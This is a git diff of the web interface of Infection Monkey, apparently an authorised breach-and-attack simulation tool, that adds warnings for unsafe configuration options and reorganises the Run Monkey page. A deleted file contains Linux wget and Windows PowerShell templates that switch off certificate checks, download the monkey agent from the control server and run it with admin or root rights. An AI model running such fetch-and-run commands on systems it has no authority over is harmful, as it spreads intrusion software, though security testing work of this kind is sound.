ATTACK_URL = '/api/attack'; const CONFIG_URL = '/api/configuration/island'; @@ -28,13 +31,16 @@ class ConfigurePageComponent extends AuthComponent { this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'internal']; this.state = { - schema: {}, - configuration: {}, attackConfig: {}, + configuration: {}, + importCandidateConfig: null, lastAction: 'none', + schema: {}, sections: [], selectedSection: 'attack', - showAttackAlert: false + showAttackAlert: false, + showUnsafeOptionsConfirmation: false, + showUnsafeAttackOptionsWarning: false }; } @@ -74,23 +80,46 @@ class ConfigurePageComponent extends AuthComponent { }); }; - updateConfig = () => { + onUnsafeConfirmationCancelClick = () => { + this.setState({showUnsafeOptionsConfirmation: false}); + } + + onUnsafeConfirmationContinueClick = () => { + this.setState({showUnsafeOptionsConfirmation: false}); + + if (this.state.lastAction == 'submit_attempt') { + this.configSubmit(); + } else if (this.state.lastAction == 'import_attempt') { + this.setConfigFromImportCandidate(); + } + } + + onUnsafeAttackContinueClick = () => { + this.setState({showUnsafeAttackOptionsWarning: false}); + } + + + updateConfig = (callback=null) => { this.authFetch(CONFIG_URL) .then(res => res.json()) .then(data => { this.setInitialConfig(data.configuration); - this.setState({configuration: data.configuration}); + this.setState({configuration: data.configuration}, callback); }) }; onSubmit = () => { if (this.state.selectedSection === 'attack') { - this.matrixSubmit() + this.matrixSubmit(); } else { - this.configSubmit() + this.attemptConfigSubmit(); } }; + canSafelySubmitConfig(config) { + return !isUnsafeOptionSelected(this.state.schema, config); + } + matrixSubmit = () => { // Submit attack matrix this.authFetch(ATTACK_URL, @@ -108,17 +137,33 @@ class ConfigurePageComponent extends AuthComponent { .then(() => { this.setInitialAttackConfig(this.state.attackConfig); }) - .then(this.updateConfig()) - .then(this.setState({lastAction: 'saved'})) + .then(() => this.updateConfig(this.checkAndShowUnsafeAttackWarning)) + .then(() => this.setState({lastAction: 'saved'})) .catch(error => { console.log('Bad configuration: ' + error.toString()); this.setState({lastAction: 'invalid_configuration'}); }); }; - configSubmit = () => { - // Submit monkey configuration + checkAndShowUnsafeAttackWarning = () => { + if (isUnsafeOptionSelected(this.state.schema, this.state.configuration)) { + this.setState({showUnsafeAttackOptionsWarning: true}); + } + } + + attemptConfigSubmit() { this.updateConfigSection(); + this.setState({lastAction: 'submit_attempt'}, () => { + if (this.canSafelySubmitConfig(this.state.configuration)) { + this.configSubmit(); + } else { + this.setState({showUnsafeOptionsConfirmation: true}); + } + } + ); + } + + configSubmit() { this.sendConfig() .then(res => res.json()) .then(res => { @@ -133,14 +178,14 @@ class ConfigurePageComponent extends AuthComponent { console.log('Bad configuration: ' + error.toString()); this.setState({lastAction: 'invalid_configuration'}); }); - }; + } // Alters attack configuration when user toggles technique attackTechniqueChange = (technique, value, mapped = false) => { // Change value in attack configuration // Go trough each column in matrix, searching for technique Object.entries(this.state.attackConfig).forEach(techType => { - if (techType[1].properties.hasOwnProperty(technique)) { + if (Object.prototype.hasOwnProperty.call(techType[1].properties, technique)) { let tempMatrix = this.state.attackConfig; tempMatrix[techType[0]].properties[technique].value = value; this.setState({attackConfig: tempMatrix}); @@ -151,7 +196,8 @@ class ConfigurePageComponent extends AuthComponent { Object.entries(this.state.attackConfig).forEach(otherType => { Object.entries(otherType[1].properties).forEach(otherTech => { // If this technique depends on a technique that was changed - if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)) { + if (Object.prototype.hasOwnProperty.call(otherTech[1], 'depends_on') && + otherTech[1]['depends_on'].includes(technique)) { this.attackTechniqueChange(otherTech[0], value, true) } }) @@ -200,6 +246,25 @@ class ConfigurePageComponent extends AuthComponent { ) }; + renderUnsafeOptionsConfirmationModal() { + return ( + + ); + } + + renderUnsafeAttackOptionsWarningModal() { + return ( + + ); + } + userChangedConfig() { if (JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)) { if (Object.keys(this.currentFormData).length === 0 || @@ -275,18 +340,33 @@ class ConfigurePageComponent extends AuthComponent { setConfigOnImport = (event) => { try { - this.setState({ - configuration: JSON.parse(event.target.result), - lastAction: 'import_success' - }, () => { - this.sendConfig(); - this.setInitialConfig(JSON.parse(event.target.result)) - }); - this.currentFormData = {}; + var newConfig = JSON.parse(event.target.result); } catch (SyntaxError) { this.setState({lastAction: 'import_failure'}); + return; } - }; + + this.setState({lastAction: 'import_attempt', importCandidateConfig: newConfig}, + () => { + if (this.canSafelySubmitConfig(newConfig)) { + this.setConfigFromImportCandidate(); + } else { + this.setState({showUnsafeOptionsConfirmation: true}); + } + } + ); + } + + setConfigFromImportCandidate(){ + this.setState({ + configuration: this.state.importCandidateConfig, + lastAction: 'import_success' + }, () => { + this.sendConfig(); + this.setInitialConfig(this.state.importCandidateConfig); + }); + this.currentFormData = {}; + } exportConfig = () => { this.updateConfigSection(); @@ -393,7 +473,7 @@ class ConfigurePageComponent extends AuthComponent { render() { let displayedSchema = {}; - if (this.state.schema.hasOwnProperty('properties') && this.state.selectedSection !== 'attack') { + if (Object.prototype.hasOwnProperty.call(this.state.schema, 'properties') && this.state.selectedSection !== 'attack') { displayedSchema = this.state.schema['properties'][this.state.selectedSection]; displayedSchema['definitions'] = this.state.schema['definitions']; } @@ -409,6 +489,8 @@ class ConfigurePageComponent extends AuthComponent { lg={{offset: 3, span: 8}} xl={{offset: 2, span: 8}} className={'main'}> {this.renderAttackAlertModal()} + {this.renderUnsafeOptionsConfirmationModal()} + {this.renderUnsafeAttackOptionsWarningModal()}

Monkey Configuration

{this.renderNav()} {content} @@ -423,7 +505,7 @@ class ConfigurePageComponent extends AuthComponent {
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js b/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js index df8aa08d0..961c1899c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js @@ -2,9 +2,8 @@ import React from 'react'; import {Button, Col, Container, Form, Row} from 'react-bootstrap'; import AuthService from '../../services/AuthService'; -import Particles from 'react-particles-js'; -import {particleParams} from '../../styles/components/particle-component/AuthPageParams'; import monkeyGeneral from '../../images/militant-monkey.svg'; +import ParticleBackground from '../ui-components/ParticleBackground'; class LoginPageComponent extends React.Component { login = (event) => { @@ -60,7 +59,7 @@ class LoginPageComponent extends React.Component { render() { return ( - +
@@ -70,7 +69,7 @@ class LoginPageComponent extends React.Component {
this.updateUsername(evt)} type='text' placeholder='Username'/> this.updatePassword(evt)} type='password' placeholder='Password'/> - { diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js index cf082f5b3..da11c7ed6 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -64,7 +64,7 @@ class MapPageComponent extends AuthComponent { this.authFetch('/api/netmap') .then(res => res.json()) .then(res => { - if (res.hasOwnProperty('edges')) { + if (Object.prototype.hasOwnProperty.call(res, 'edges')) { res.edges.forEach(edge => { edge.color = {'color': edgeGroupToColor(edge.group)}; }); diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js index e051010c9..093dba950 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js @@ -1,10 +1,9 @@ import React from 'react'; import {Row, Col, Container, Form, Button} from 'react-bootstrap'; -import Particles from 'react-particles-js'; import AuthService from '../../services/AuthService'; -import {particleParams} from '../../styles/components/particle-component/AuthPageParams'; import monkeyDetective from '../../images/detective-monkey.svg'; +import ParticleBackground from '../ui-components/ParticleBackground'; class RegisterPageComponent extends React.Component { @@ -81,7 +80,7 @@ class RegisterPageComponent extends React.Component { render() { return ( - +
@@ -93,7 +92,7 @@ class RegisterPageComponent extends React.Component { this.updateUsername(evt)} type='text' placeholder='Username'/> this.updatePassword(evt)} type='password' placeholder='Password'/> - diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 5329cfe06..4ce777f1e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -31,7 +31,7 @@ class ReportPageComponent extends AuthComponent { static selectReport(reports) { let url = window.location.href; for (let report_name in reports) { - if (reports.hasOwnProperty(report_name) && url.endsWith(reports[report_name])) { + if (Object.prototype.hasOwnProperty.call(reports, report_name) && url.endsWith(reports[report_name])) { return reports[report_name]; } } @@ -46,7 +46,7 @@ class ReportPageComponent extends AuthComponent { securityReport: res }); }); - this.authFetch('/api/attack/report') + this.authFetch('/api/report/attack') .then(res => res.json()) .then(res => { this.setState({ @@ -60,22 +60,27 @@ class ReportPageComponent extends AuthComponent { } getZeroTrustReportFromServer = async () => { - let ztReport = {findings: {}, principles: {}, pillars: {}}; - await this.authFetch('/api/report/zero_trust/findings') + let ztReport = {findings: {}, principles: {}, pillars: {}, scoutsuite_data: {}}; + await this.authFetch('/api/report/zero-trust/findings') .then(res => res.json()) .then(res => { ztReport.findings = res; }); - await this.authFetch('/api/report/zero_trust/principles') + await this.authFetch('/api/report/zero-trust/principles') .then(res => res.json()) .then(res => { ztReport.principles = res; }); - await this.authFetch('/api/report/zero_trust/pillars') + await this.authFetch('/api/report/zero-trust/pillars') .then(res => res.json()) .then(res => { ztReport.pillars = res; }); + await this.authFetch('/api/report/zero-trust/scoutsuite') + .then(res => res.json()) + .then(res => { + ztReport.scoutsuite_data = res; + }); return ztReport }; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js deleted file mode 100644 index 48a11f008..000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js +++ /dev/null @@ -1,481 +0,0 @@ -import React from 'react'; -import {css} from '@emotion/core'; -import {Button, Col, Card, Nav, Collapse, Row} from 'react-bootstrap'; -import CopyToClipboard from 'react-copy-to-clipboard'; -import GridLoader from 'react-spinners/GridLoader'; - -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faClipboard} from '@fortawesome/free-solid-svg-icons/faClipboard'; -import {faCheck} from '@fortawesome/free-solid-svg-icons/faCheck'; -import {faSync} from '@fortawesome/free-solid-svg-icons/faSync'; -import {faInfoCircle} from '@fortawesome/free-solid-svg-icons/faInfoCircle'; -import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons/faExclamationTriangle'; - -import {Link} from 'react-router-dom'; -import AuthComponent from '../AuthComponent'; -import AwsRunTable from '../run-monkey/AwsRunTable'; - -import MissingBinariesModal from '../ui-components/MissingBinariesModal'; - -const loading_css_override = css` - display: block; - margin-right: auto; - margin-left: auto; -`; - -class RunMonkeyPageComponent extends AuthComponent { - - constructor(props) { - super(props); - this.state = { - ips: [], - runningOnIslandState: 'not_running', - runningOnClientState: 'not_running', - awsClicked: false, - selectedIp: '0.0.0.0', - selectedOs: 'windows-32', - showManual: false, - showAws: false, - isOnAws: false, - awsUpdateClicked: false, - awsUpdateFailed: false, - awsMachines: [], - isLoadingAws: true, - isErrorWhileCollectingAwsMachines: false, - awsMachineCollectionErrorMsg: '', - showModal: false, - errorDetails: '' - }; - - this.closeModal = this.closeModal.bind(this); - } - - componentDidMount() { - this.authFetch('/api') - .then(res => res.json()) - .then(res => this.setState({ - ips: res['ip_addresses'], - selectedIp: res['ip_addresses'][0] - })); - - this.authFetch('/api/local-monkey') - .then(res => res.json()) - .then(res => { - if (res['is_running']) { - this.setState({runningOnIslandState: 'running'}); - } else { - this.setState({runningOnIslandState: 'not_running'}); - } - }); - - this.fetchAwsInfo(); - this.fetchConfig(); - - this.authFetch('/api/client-monkey') - .then(res => res.json()) - .then(res => { - if (res['is_running']) { - this.setState({runningOnClientState: 'running'}); - } else { - this.setState({runningOnClientState: 'not_running'}); - } - }); - - this.props.onStatusChange(); - } - - fetchAwsInfo() { - return this.authFetch('/api/remote-monkey?action=list_aws') - .then(res => res.json()) - .then(res => { - let is_aws = res['is_aws']; - if (is_aws) { - // On AWS! - // Checks if there was an error while collecting the aws machines. - let is_error_while_collecting_aws_machines = (res['error'] != null); - if (is_error_while_collecting_aws_machines) { - // There was an error. Finish loading, and display error message. - this.setState({ - isOnAws: true, - isErrorWhileCollectingAwsMachines: true, - awsMachineCollectionErrorMsg: res['error'], - isLoadingAws: false - }); - } else { - // No error! Finish loading and display machines for user - this.setState({isOnAws: true, awsMachines: res['instances'], isLoadingAws: false}); - } - } else { - // Not on AWS. Finish loading and don't display the AWS div. - this.setState({isOnAws: false, isLoadingAws: false}); - } - }); - } - - static generateLinuxCmd(ip, is32Bit) { - let bitText = is32Bit ? '32' : '64'; - return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000` - } - - static generateWindowsCmd(ip, is32Bit) { - let bitText = is32Bit ? '32' : '64'; - return `powershell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; (New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-${bitText}.exe','.\\monkey.exe'); ;Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`; - } - - runLocalMonkey = () => { - this.authFetch('/api/local-monkey', - { - method: 'POST', - headers: {'Content-Type': 'application/json'}, - body: JSON.stringify({action: 'run'}) - }) - .then(res => res.json()) - .then(res => { - if (res['is_running']) { - this.setState({ - runningOnIslandState: 'installing' - }); - } else { - /* If Monkey binaries are missing, change the state accordingly */ - if (res['error_text'].startsWith('Copy file failed')) { - this.setState({ - showModal: true, - errorDetails: res['error_text'] - } - ); - } - this.setState({ - runningOnIslandState: 'not_running' - }); - } - - this.props.onStatusChange(); - }); - }; - - generateCmdDiv() { - let isLinux = (this.state.selectedOs.split('-')[0] === 'linux'); - let is32Bit = (this.state.selectedOs.split('-')[1] === '32'); - let cmdText = ''; - if (isLinux) { - cmdText = RunMonkeyPageComponent.generateLinuxCmd(this.state.selectedIp, is32Bit); - } else { - cmdText = RunMonkeyPageComponent.generateWindowsCmd(this.state.selectedIp, is32Bit); - } - return ( - -
- - - - {cmdText} -
-
- ) - } - - setSelectedOs = (key) => { - this.setState({ - selectedOs: key - }); - }; - - setSelectedIp = (key) => { - this.setState({ - selectedIp: key - }); - }; - - static renderIconByState(state) { - if (state === 'running') { - return () - } else if (state === 'installing') { - return () - } else { - return ''; - } - } - - toggleManual = () => { - this.setState({ - showManual: !this.state.showManual - }); - }; - - toggleAws = () => { - this.setState({ - showAws: !this.state.showAws - }); - }; - - runOnAws = () => { - this.setState({ - awsClicked: true - }); - - let instances = this.awsTable.state.selection.map(x => this.instanceIdToInstance(x)); - - this.authFetch('/api/remote-monkey', - { - method: 'POST', - headers: {'Content-Type': 'application/json'}, - body: JSON.stringify({type: 'aws', instances: instances, island_ip: this.state.selectedIp}) - }).then(res => res.json()) - .then(res => { - let result = res['result']; - - // update existing state, not run-over - let prevRes = this.awsTable.state.result; - for (let key in result) { - if (result.hasOwnProperty(key)) { - prevRes[key] = result[key]; - } - } - this.awsTable.setState({ - result: prevRes, - selection: [], - selectAll: false - }); - - this.setState({ - awsClicked: false - }); - }); - }; - - fetchConfig() { - return this.authFetch('/api/configuration/island') - .then(res => res.json()) - .then(res => { - return res.configuration; - }) - } - - instanceIdToInstance = (instance_id) => { - let instance = this.state.awsMachines.find( - function (inst) { - return inst['instance_id'] === instance_id; - }); - return {'instance_id': instance_id, 'os': instance['os']} - - }; - - renderAwsMachinesDiv() { - return ( -
-
-

- - Not sure what this is? Not seeing your AWS EC2 instances? Read the documentation! -

-
- { - this.state.ips.length > 1 ? - - :
- } - - (this.awsTable = r)} - /> -
- -
-
- ) - } - - closeModal = () => { - this.setState({ - showModal: false - }) - }; - - render() { - return ( -
-

1. Run Monkey

-

- Go ahead and run the monkey! - (Or configure the monkey to fine tune its behavior) -

-

- - - { - // TODO: implement button functionality - /* - - */ - } -

-

- OR -

-

- -

- -
-

- Choose the operating system where you want to run the monkey: -

- -
- - - - - {this.state.ips.length > 1 ? -
- -
-

- Choose the interface to communicate with: -

- - - - - - - - - :
- } -

- Copy the following command to your machine and run it with Administrator or root privileges. -

- {this.generateCmdDiv()} -
- - { - this.state.isLoadingAws ? -
-
- -
-
- : null - } - { - this.state.isOnAws ? -

- OR -

- : - null - } - { - this.state.isOnAws ? -

- -

- : - null - } - - { - this.state.isErrorWhileCollectingAwsMachines ? -
-

- - Error while collecting AWS machine data. Error - message: {this.state.awsMachineCollectionErrorMsg}
- Are you sure you've set the correct role on your Island AWS machine?
- Not sure what this is? Read - the documentation! -

-
- : - this.renderAwsMachinesDiv() - } - -
- -

- Go ahead and monitor the ongoing infection in the Infection Map view. -

- - ); - } -} - -export default RunMonkeyPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js new file mode 100644 index 000000000..f0b139531 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js @@ -0,0 +1,83 @@ +import React, {useEffect, useState} from 'react'; +import InlineSelection from '../../../ui-components/inline-selection/InlineSelection'; +import DropdownSelect from '../../../ui-components/DropdownSelect'; +import {OS_TYPES} from '../utils/OsTypes'; +import GenerateLocalWindowsCmd from '../commands/local_windows_cmd'; +import GenerateLocalWindowsPowershell from '../commands/local_windows_powershell'; +import GenerateLocalLinuxWget from '../commands/local_linux_wget'; +import GenerateLocalLinuxCurl from '../commands/local_linux_curl'; +import CommandDisplay from '../utils/CommandDisplay'; +import {Form} from 'react-bootstrap'; + + +const LocalManualRunOptions = (props) => { + return InlineSelection(getContents, { + ...props, + onBackButtonClick: () => {props.setComponent()} + }) +} + +const getContents = (props) => { + + const osTypes = { + [OS_TYPES.WINDOWS_64]: 'Windows 64bit', + [OS_TYPES.WINDOWS_32]: 'Windows 32bit', + [OS_TYPES.LINUX_64]: 'Linux 64bit', + [OS_TYPES.LINUX_32]: 'Linux 32bit' + } + + const [osType, setOsType] = useState(OS_TYPES.WINDOWS_64); + const [selectedIp, setSelectedIp] = useState(props.ips[0]); + const [commands, setCommands] = useState(generateCommands()); + const [customUsername, setCustomUsername] = useState(''); + + useEffect(() => { + setCommands(generateCommands()); + }, [osType, selectedIp, customUsername]) + + function setIp(index) { + setSelectedIp(props.ips[index]); + } + + function setUsername(inputVal) { + if (inputVal) { // checks that it's not just whitespaces + setCustomUsername(inputVal); + } + else { + setCustomUsername(''); + } + } + + function generateCommands() { + if (osType === OS_TYPES.WINDOWS_64 || osType === OS_TYPES.WINDOWS_32) { + return [{type: 'CMD', command: GenerateLocalWindowsCmd(selectedIp, osType, customUsername)}, + {type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, osType, customUsername)}] + } else { + return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, osType, customUsername)}, + {type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, osType, customUsername)}] + } + } + + return ( + <> + + +
+

+ Run as a user by entering their username: +

+
+ + setUsername(input.target.value.trim())} + /> + +
+
+ + + ) +} + +export default LocalManualRunOptions; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js new file mode 100644 index 000000000..2a27c5be3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js @@ -0,0 +1,26 @@ +import React from 'react'; +import {Col} from 'react-bootstrap'; +import {Link} from 'react-router-dom'; +import AuthComponent from '../../AuthComponent'; +import RunOptions from './RunOptions'; + + +class RunMonkeyPageComponent extends AuthComponent { + + render() { + return ( +
+

1. Run Monkey

+

+ Go ahead and run the monkey! + (Or configure the monkey to fine tune its behavior) +

+ + + ); + } +} + +export default RunMonkeyPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSInstanceTable.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSInstanceTable.js new file mode 100644 index 000000000..cf792f7b8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSInstanceTable.js @@ -0,0 +1,119 @@ +import React, {useState} from 'react'; +import ReactTable from 'react-table' +import checkboxHOC from 'react-table/lib/hoc/selectTable'; +import PropTypes from 'prop-types'; + + +const CheckboxTable = checkboxHOC(ReactTable); + +const columns = [ + { + Header: 'Machines', + columns: [ + {Header: 'Machine', accessor: 'name'}, + {Header: 'Instance ID', accessor: 'instance_id'}, + {Header: 'IP Address', accessor: 'ip_address'}, + {Header: 'OS', accessor: 'os'} + ] + } +]; + +const pageSize = 10; + +function AWSInstanceTable(props) { + + const [allToggled, setAllToggled] = useState(false); + let checkboxTable = null; + + function toggleSelection(key) { + key = key.replace('select-', ''); + // start off with the existing state + let modifiedSelection = [...props.selection]; + const keyIndex = modifiedSelection.indexOf(key); + // check to see if the key exists + if (keyIndex >= 0) { + // it does exist so we will remove it using destructing + modifiedSelection = [ + ...modifiedSelection.slice(0, keyIndex), + ...modifiedSelection.slice(keyIndex + 1) + ]; + } else { + // it does not exist so add it + modifiedSelection.push(key); + } + // update the state + props.setSelection(modifiedSelection); + } + + function isSelected(key) { + return props.selection.includes(key); + } + + function toggleAll() { + const selectAll = !allToggled; + const selection = []; + if (selectAll) { + // we need to get at the internals of ReactTable + const wrappedInstance = checkboxTable.getWrappedInstance(); + // the 'sortedData' property contains the currently accessible records based on the filter and sort + const currentRecords = wrappedInstance.getResolvedState().sortedData; + // we just push all the IDs onto the selection array + currentRecords.forEach(item => { + selection.push(item._original.instance_id); + }); + } + setAllToggled(selectAll); + props.setSelection(selection); + } + + function getTrProps(_, r) { + let color = 'inherit'; + if (r) { + let instId = r.original.instance_id; + if (isSelected(instId)) { + color = '#ffed9f'; + } else if (Object.prototype.hasOwnProperty.call(props.results, instId)) { + color = props.results[instId] ? '#00f01b' : '#f00000' + } + } + + return { + style: {backgroundColor: color} + }; + } + + return ( +
+ (checkboxTable = r)} + keyField="instance_id" + columns={columns} + data={props.data} + showPagination={true} + defaultPageSize={pageSize} + className="-highlight" + selectType="checkbox" + toggleSelection={toggleSelection} + isSelected={isSelected} + toggleAll={toggleAll} + selectAll={allToggled} + getTrProps={getTrProps} + /> +
+ ); + +} + +AWSInstanceTable.propTypes = { + data: PropTypes.arrayOf(PropTypes.exact({ + instance_id: PropTypes.string, + name: PropTypes.string, + os: PropTypes.string, + ip_address: PropTypes.string + })), + results: PropTypes.arrayOf(PropTypes.string), + selection: PropTypes.arrayOf(PropTypes.string), + setSelection: PropTypes.func +} + +export default AWSInstanceTable; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunButton.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunButton.js new file mode 100644 index 000000000..3903d2a8e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunButton.js @@ -0,0 +1,80 @@ +import React, {useEffect, useState} from 'react'; +import AuthComponent from '../../../AuthComponent'; +import '../../../../styles/components/RunOnIslandButton.scss'; +import {faCloud} from '@fortawesome/free-solid-svg-icons'; +import AWSRunOptions from './AWSRunOptions'; +import NextSelectionButton from '../../../ui-components/inline-selection/NextSelectionButton'; +import {Alert, Button} from 'react-bootstrap'; +import LoadingIcon from '../../../ui-components/LoadingIcon'; + + +function AWSRunButton(props) { + + const authComponent = new AuthComponent({}); + + const [isOnAWS, setIsOnAWS] = useState(false); + const [AWSInstances, setAWSInstances] = useState([]); + const [awsMachineCollectionError, setAwsMachineCollectionError] = useState(''); + const [componentLoading, setComponentLoading] = useState(true); + + useEffect(() => { + checkIsOnAWS(); + }, []); + + function checkIsOnAWS() { + authComponent.authFetch('/api/remote-monkey?action=list_aws') + .then(res => res.json()) + .then(res => { + let isAws = res['is_aws']; + setComponentLoading(false); + if (isAws) { + // On AWS! + // Checks if there was an error while collecting the aws machines. + let isErrorWhileCollectingAwsMachines = (res['error'] != null); + if (isErrorWhileCollectingAwsMachines) { + // There was an error. Finish loading, and display error message. + setIsOnAWS(true); + setAwsMachineCollectionError(res['error']); + } else { + // No error! Finish loading and display machines for user + setIsOnAWS(true); + setAWSInstances(res['instances']); + } + } + }); + } + + function getAWSButton() { + return { + props.setComponent(AWSRunOptions, + {AWSInstances: AWSInstances, setComponent: props.setComponent}) + }}/> + } + + function getErrorDisplay() { + return ( + Detected ability to run on different AWS instances. + To enable this feature, follow the   + and refresh the page. Error received while trying to list AWS instances: {awsMachineCollectionError} + ); + } + + let displayed = ''; + if (componentLoading) { + displayed = LoadingIcon(); + } + if (awsMachineCollectionError !== '') { + displayed = getErrorDisplay(); + } else if (isOnAWS) { + displayed = getAWSButton(); + } + return displayed; +} + +export default AWSRunButton; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js new file mode 100644 index 000000000..eba4cf0f3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js @@ -0,0 +1,117 @@ +import React, {useEffect, useState} from 'react'; +import {Button, Nav} from 'react-bootstrap'; + +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faSync} from '@fortawesome/free-solid-svg-icons/faSync'; +import {faInfoCircle} from '@fortawesome/free-solid-svg-icons/faInfoCircle'; +import AwsRunTable from './AWSInstanceTable'; +import AuthComponent from '../../../AuthComponent'; +import InlineSelection from '../../../ui-components/inline-selection/InlineSelection'; + + +const AWSRunOptions = (props) => { + return InlineSelection(getContents, { + ...props, + onBackButtonClick: () => {props.setComponent()} + }) +} + + +const getContents = (props) => { + + const authComponent = new AuthComponent({}); + + let [allIPs, setAllIPs] = useState([]); + let [selectedIp, setSelectedIp] = useState(null); + let [AWSClicked, setAWSClicked] = useState(false); + let [runResults, setRunResults] = useState([]); + let [selectedInstances, setSelectedInstances] = useState([]); + + useEffect(() => { + getIps(); + }, []); + + function getIps() { + authComponent.authFetch('/api') + .then(res => res.json()) + .then(res => { + setAllIPs(res['ip_addresses']); + setSelectedIp(res['ip_addresses'][0]); + }); + } + + function runOnAws() { + setAWSClicked(true); + let instances = selectedInstances.map(x => instanceIdToInstance(x)); + + authComponent.authFetch('/api/remote-monkey', + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({type: 'aws', instances: instances, island_ip: selectedIp}) + }).then(res => res.json()) + .then(res => { + let result = res['result']; + + // update existing state, not run-over + let prevRes = result; + for (let key in result) { + if (result.hasOwnProperty(key)) { + prevRes[key] = result[key]; + } + } + setRunResults(prevRes); + setSelectedInstances([]); + setAWSClicked(false); + }); + } + + function instanceIdToInstance(instance_id) { + let instance = props.AWSInstances.find( + function (inst) { + return inst['instance_id'] === instance_id; + }); + + return {'instance_id': instance_id, 'os': instance['os']} + } + + return ( +
+
+

+ + Not sure what this is? Not seeing your AWS EC2 instances? Read the documentation! +

+
+ { + allIPs.length > 1 ? + + :
+ } + +
+ +
+
+ ); +} + +export default AWSRunOptions; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnIslandButton.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnIslandButton.js new file mode 100644 index 000000000..b7bae48f1 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnIslandButton.js @@ -0,0 +1,123 @@ +import React from 'react'; +import {Button, Col, Row} from 'react-bootstrap'; + +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faCheck} from '@fortawesome/free-solid-svg-icons/faCheck'; +import {faSync} from '@fortawesome/free-solid-svg-icons/faSync'; +import AuthComponent from '../../AuthComponent'; + +import IslandMonkeyRunErrorModal from '../../ui-components/IslandMonkeyRunErrorModal'; +import '../../../styles/components/RunOnIslandButton.scss'; +import {faTimes} from '@fortawesome/free-solid-svg-icons'; + + +const MONKEY_STATES = { + RUNNING: 'running', + NOT_RUNNING: 'not_running', + STARTING: 'starting', + FAILED: 'failed' +} + +class RunOnIslandButton extends AuthComponent { + + constructor(props) { + super(props); + this.state = { + runningOnIslandState: MONKEY_STATES.NOT_RUNNING, + showModal: false, + errorDetails: '' + }; + + this.closeModal = this.closeModal.bind(this); + } + + componentDidMount() { + this.authFetch('/api/local-monkey') + .then(res => res.json()) + .then(res => { + if (res['is_running']) { + this.setState({runningOnIslandState: MONKEY_STATES.RUNNING}); + } else { + this.setState({runningOnIslandState: MONKEY_STATES.NOT_RUNNING}); + } + }); + } + + runIslandMonkey = () => { + this.setState({runningOnIslandState: MONKEY_STATES.STARTING}, this.sendRunMonkeyRequest) + + }; + + sendRunMonkeyRequest() { + this.authFetch('/api/local-monkey', + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({action: 'run'}) + }) + .then(res => res.json()) + .then(async res => { + if (res['is_running']) { + await new Promise(r => setTimeout(r, 1000)); + this.setState({ + 